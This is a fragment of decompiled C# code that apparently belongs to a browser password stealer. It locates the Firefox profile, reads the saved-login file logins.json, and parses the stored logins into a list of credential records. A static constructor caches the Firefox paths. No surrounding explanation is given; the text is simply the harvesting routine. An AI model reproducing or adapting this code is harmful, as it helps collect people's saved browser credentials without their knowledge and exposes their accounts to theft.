// Token: 0x060000F6 RID: 246 RVA: 0x00009C8C File Offset: 0x00007E8C public static List <PassData> Initialise() { List <PassData> result; try { Console.WriteLine(Firefox.GetFirefoxInstallPath().FullName); FileInfo file = Mozilla.GetFile(Firefox.GetProfilePath(), "logins.json"); if (file.FullName == "C:\\") { result = null; } else { object arg_58_0 = new Mozilla.JsonData(); MemoryStream memoryStream = new MemoryStream(Encoding.UTF8.GetBytes(File.ReadAllText(file.FullName))); Mozilla.JsonData arg_73_0 = new DataContractJsonSerializer(arg_58_0.GetType()).ReadObject(memoryStream) as Mozilla.JsonData; memoryStream.Close(); IEnumerable <Mozilla.LoginData> arg_97_0 = arg_73_0.logins; Func <Mozilla.LoginData, PassData> arg_97_1; if ((arg_97_1 = Mozilla.< > c.< > 9__0_0) == null) { arg_97_1 = (Mozilla.< > c.< > 9__0_0 = new Func <Mozilla.LoginData, PassData>(Mozilla.< > c.< > 9. < Initialise > b__0_0)); } result = arg_97_0.Select(arg_97_1).ToList <PassData>(); } } catch (Exception arg) { Console.WriteLine("Mozilla : " + arg); result = null; } return(result); }
// Token: 0x060000FE RID: 254 RVA: 0x00002E6F File Offset: 0x0000106F static Firefox() { if (!Firefox.isFirefoxInstalled) { return; } Firefox.firefoxPath = Firefox.GetFirefoxInstallPath().FullName; Firefox.firefoxProfilePath = Firefox.GetProfilePath().FullName; }